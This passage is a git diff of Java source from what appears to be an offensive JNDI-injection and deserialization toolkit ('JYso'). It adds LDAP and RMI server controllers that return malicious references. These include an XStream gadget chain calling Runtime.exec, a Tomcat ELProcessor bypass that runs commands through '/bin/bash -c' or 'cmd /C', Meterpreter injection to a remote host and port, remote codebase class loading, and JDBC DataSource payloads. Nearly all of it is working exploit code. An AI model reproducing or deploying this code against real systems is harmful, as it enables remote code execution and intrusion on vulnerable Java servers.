||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/xstream"})
|
||||
public class XStreamController implements LdapController{
|
||||
private PayloadType type;
|
||||
private String[] params;
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
|
||||
" <unserializable-parents/>\n" +
|
||||
" <java.util.PriorityQueue>\n" +
|
||||
" <default>\n" +
|
||||
" <size>2</size>\n" +
|
||||
" </default>\n" +
|
||||
" <int>3</int>\n" +
|
||||
" <dynamic-proxy>\n" +
|
||||
" <interface>java.lang.Comparable</interface>\n" +
|
||||
" <handler class='sun.tracing.NullProvider'>\n" +
|
||||
" <active>true</active>\n" +
|
||||
" <providerType>java.lang.Comparable</providerType>\n" +
|
||||
" <probes>\n" +
|
||||
" <entry>\n" +
|
||||
" <method>\n" +
|
||||
" <class>java.lang.Comparable</class>\n" +
|
||||
" <name>compareTo</name>\n" +
|
||||
" <parameter-types>\n" +
|
||||
" <class>java.lang.Object</class>\n" +
|
||||
" </parameter-types>\n" +
|
||||
" </method>\n" +
|
||||
" <sun.tracing.dtrace.DTraceProbe>\n" +
|
||||
" <proxy class='java.lang.Runtime'/>\n" +
|
||||
" <implementing__method>\n" +
|
||||
" <class>java.lang.Runtime</class>\n" +
|
||||
" <name>exec</name>\n" +
|
||||
" <parameter-types>\n" +
|
||||
" <class>java.lang.String</class>\n" +
|
||||
" </parameter-types>\n" +
|
||||
" </implementing__method>\n" +
|
||||
" </sun.tracing.dtrace.DTraceProbe>\n" +
|
||||
" </entry>\n" +
|
||||
" </probes>\n" +
|
||||
" </handler>\n" +
|
||||
" </dynamic-proxy>\n" +
|
||||
" <string>"+ params[0] +"</string>\n" +
|
||||
" </java.util.PriorityQueue>\n" +
|
||||
"</java.util.PriorityQueue>";
|
||||
ref.add(new StringRefAddr("forceString", "a=fromXML"));
|
||||
ref.add(new StringRefAddr("a", xml));
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||
if (payloadType.equalsIgnoreCase("command")) {
|
||||
type = PayloadType.valueOf("command");
|
||||
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
|
||||
} else {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
|
||||
}
|
||||
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@LdapMapping(uri = {"/jdbc1"})
|
||||
public class jdbcController1 implements LdapController {
|
||||
|
||||
private String payloadType;
|
||||
|
||||
private String factoryType;
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry e = new Entry(base);
|
||||
String driver = payloadType;
|
||||
String JDBC_URL = params[0];
|
||||
|
||||
e.addAttribute("objectClass","javaNamingReference");
|
||||
e.addAttribute("javaClassName", "javax.sql.DataSource");
|
||||
e.addAttribute("javaFactory",factoryType);
|
||||
e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1");
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
er.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
|
||||
try {
|
||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||
|
||||
if (fourthIndex != -1) {
|
||||
if (fourthIndex < 0) fourthIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.RefAddr;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.util.Enumeration;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@LdapMapping(uri = {"/jdbc2"})
|
||||
public class jdbcController2 implements LdapController {
|
||||
|
||||
private String payloadType;
|
||||
private String factoryType;
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry e = new Entry(base);
|
||||
String driver = payloadType;
|
||||
String JDBC_URL = params[0];
|
||||
|
||||
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
|
||||
ref.add(new StringRefAddr("driverClassName", driver));
|
||||
ref.add(new StringRefAddr("url", JDBC_URL));
|
||||
ref.add(new StringRefAddr("initialSize", "1"));
|
||||
|
||||
e.addAttribute("objectClass", "javaNamingReference");
|
||||
e.addAttribute("javaClassName", ref.getClassName());
|
||||
e.addAttribute("javaFactory", ref.getFactoryClassName());
|
||||
|
||||
Enumeration<RefAddr> enumeration = ref.getAll();
|
||||
int posn = 0;
|
||||
|
||||
while (enumeration.hasMoreElements()) {
|
||||
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
|
||||
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
|
||||
posn ++;
|
||||
}
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
er.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
|
||||
try {
|
||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||
|
||||
if (fourthIndex != -1) {
|
||||
if (fourthIndex < 0) fourthIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
@LdapMapping(uri = {"/ldap2rmi"})
|
||||
public class ldap2rmiController implements LdapController {
|
||||
|
||||
private final String ip = Config.ip;
|
||||
private final String rmiPort = String.valueOf(Config.rmiPort);
|
||||
private String path;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
System.out.println("- Change LDAP to RMI ");
|
||||
|
||||
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
|
||||
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
base = base.replace('\\', '/');
|
||||
int index = base.indexOf('/');
|
||||
if (index != -1) {
|
||||
String result = base.substring(index);
|
||||
path = result;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package com.qi4l.JYso.controllers.rmi;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.JYso.template.CommandTemplate;
|
||||
import com.qi4l.JYso.template.echoStatic.Meterpreter;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import java.net.URL;
|
||||
import java.util.Base64;
|
||||
|
||||
public class Basic {
|
||||
static String payloadType;
|
||||
//最后的反斜杠不能少
|
||||
static String codebase = Config.codeBase;
|
||||
static String[] params;
|
||||
static GadgetType gadgetType;
|
||||
|
||||
public static Reference basic(String base) throws Exception {
|
||||
System.out.println("- RMI Remote Refenrence Links ");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex != -1) {
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.shell) {
|
||||
String cmd1 = Util.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
|
||||
String cmd = new String(decodedBytes);
|
||||
String[] cmdArray = cmd.split(" ");
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = cmdArray;
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.msf) {
|
||||
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||
Config.rhost = results1[0];
|
||||
Config.rport = results1[1];
|
||||
System.out.println("[+] RemotHost: " + results1[0]);
|
||||
System.out.println("[+] RemotPort: " + results1[1]);
|
||||
params = results1;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
String className = "";
|
||||
|
||||
if (payloadType.contains("E-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||
className = EchoClass.getName();
|
||||
}
|
||||
|
||||
if (payloadType.contains("M-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
InjShell.init(params);
|
||||
className = Gadgets.createClassB(ClassName1);
|
||||
}
|
||||
|
||||
if (payloadType.contains("command")) {
|
||||
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
|
||||
commandTemplate.cache();
|
||||
className = commandTemplate.getClassName();
|
||||
}
|
||||
|
||||
if (payloadType.contains("msf")) {
|
||||
className = Meterpreter.class.getName();
|
||||
}
|
||||
|
||||
String className1 = className.replaceAll("\\.", "/");
|
||||
|
||||
URL turl = new URL(new URL(codebase), className1 + ".class");
|
||||
Reference ref = new Reference("Foo", className1, turl.toString());
|
||||
return ref;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
package com.qi4l.JYso.controllers.rmi;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
public class ELProcessor {
|
||||
static String payloadType;
|
||||
static String[] params;
|
||||
static GadgetType gadgetType = null;
|
||||
|
||||
public static ResourceRef refTomcatBypass(String base) throws Exception {
|
||||
// 切割参数
|
||||
System.out.println("- JNDI RMI Local Refenrence Links ");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
|
||||
if (thirdIndex != -1) {
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.shell) {
|
||||
String cmd1 = Util.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Util.base64Decode(cmd1);
|
||||
String cmd = new String(decodedBytes);
|
||||
String[] cmdArray = cmd.split(" ");
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = cmdArray;
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.msf) {
|
||||
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||
Config.rhost = results1[0];
|
||||
Config.rport = results1[1];
|
||||
System.out.println("[+] RemotHost: " + results1[0]);
|
||||
System.out.println("[+] RemotPort: " + results1[1]);
|
||||
params = results1;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
|
||||
// 构造ref对象
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||
String code = null;
|
||||
|
||||
if (payloadType.contains("E-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||
code = InjShell.injectClass(EchoClass);
|
||||
}
|
||||
|
||||
if (payloadType.contains("M-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
InjShell.init(params);
|
||||
code = Gadgets.createClassT(ClassName1);
|
||||
}
|
||||
|
||||
if (payloadType.contains("command")) {
|
||||
code = getExecCode(params[0]);
|
||||
}
|
||||
|
||||
if (payloadType.contains("meterpreter")) {
|
||||
code = injectMeterpreter();
|
||||
}
|
||||
|
||||
|
||||
String payloadTemplate = "{" +
|
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
|
||||
".newInstance().getEngineByName(\"JavaScript\")" +
|
||||
".eval(\"{replacement}\")" +
|
||||
"}";
|
||||
String finalPayload = payloadTemplate.replace("{replacement}", code);
|
||||
ref.add(new StringRefAddr("x", finalPayload));
|
||||
|
||||
return ref;
|
||||
}
|
||||
|
||||
public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
|
||||
Field WinClassName = ctClazz.getDeclaredField("host");
|
||||
WinClassName.setAccessible(true);
|
||||
WinClassName.set(ctClazz, params[0]);
|
||||
Field WinclassBody = ctClazz.getDeclaredField("port");
|
||||
WinclassBody.setAccessible(true);
|
||||
WinclassBody.set(ctClazz, params[1]);
|
||||
return InjShell.injectClass(ctClazz);
|
||||
}
|
||||
|
||||
public static String getExecCode(String cmd) throws IOException {
|
||||
|
||||
String code = "var strs=new Array(3);\n" +
|
||||
" if(java.io.File.separator.equals('/')){\n" +
|
||||
" strs[0]='/bin/bash';\n" +
|
||||
" strs[1]='-c';\n" +
|
||||
" strs[2]='" + cmd + "';\n" +
|
||||
" }else{\n" +
|
||||
" strs[0]='cmd';\n" +
|
||||
" strs[1]='/C';\n" +
|
||||
" strs[2]='" + cmd + "';\n" +
|
||||
" }\n" +
|
||||
" java.lang.Runtime.getRuntime().exec(strs);";
|
||||
|
||||
return code;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package com.qi4l.JYso.controllers.utils;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
public class AESUtils {
|
||||
private static final String ALGORITHM = "AES";
|
||||
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
|
||||
private static final int KEY_SIZE = 16;
|
||||
|
||||
public static String decrypt(String ciphertext, String key) throws Exception {
|
||||
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
|
||||
byte[] ivBytes = new byte[KEY_SIZE];
|
||||
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
|
||||
|
||||
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
|
||||
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
|
||||
|
||||
byte[] keyBytes = getKeyBytes(key);
|
||||
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
|
||||
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
|
||||
|
||||
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
|
||||
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
|
||||
|
||||
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
|
||||
return new String(decryptedBytes, StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
private static byte[] getKeyBytes(String key) {
|
||||
byte[] keyBytes = new byte[KEY_SIZE];
|
||||
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
|
||||
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
|
||||
return keyBytes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||
import org.apache.commons.cli.*;
|
||||
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
|
||||
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
||||
|
||||
public class ysoserial {
|
||||
|
||||
public static CommandLine cmdLine;
|
||||
public static Object PAYLOAD = null;
|
||||
|
||||
public static void ysoserial(String[] args) {
|
||||
final Options options = getOptions();
|
||||
|
||||
CommandLineParser parser = new DefaultParser();
|
||||
|
||||
if (args.length == 1) {
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
try {
|
||||
cmdLine = parser.parse(options, args);
|
||||
} catch (Exception e) {
|
||||
System.out.println("[*] Parameter input error, please use -h for more information");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("inherit")) {
|
||||
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("obscure")) {
|
||||
Config.IS_OBSCURE = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("cmd-header")) {
|
||||
Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("url")) {
|
||||
String url = cmdLine.getOptionValue("url");
|
||||
if (!url.startsWith("/")) {
|
||||
url = "/" + url;
|
||||
}
|
||||
Config.URL_PATTERN = url;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("define-class-from-parameter")) {
|
||||
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("file")) {
|
||||
Config.WRITE_FILE = true;
|
||||
Config.FILE = cmdLine.getOptionValue("file");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("base64")) {
|
||||
Config.BASE64 = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("password")) {
|
||||
Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
|
||||
Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
|
||||
}
|
||||
|
||||
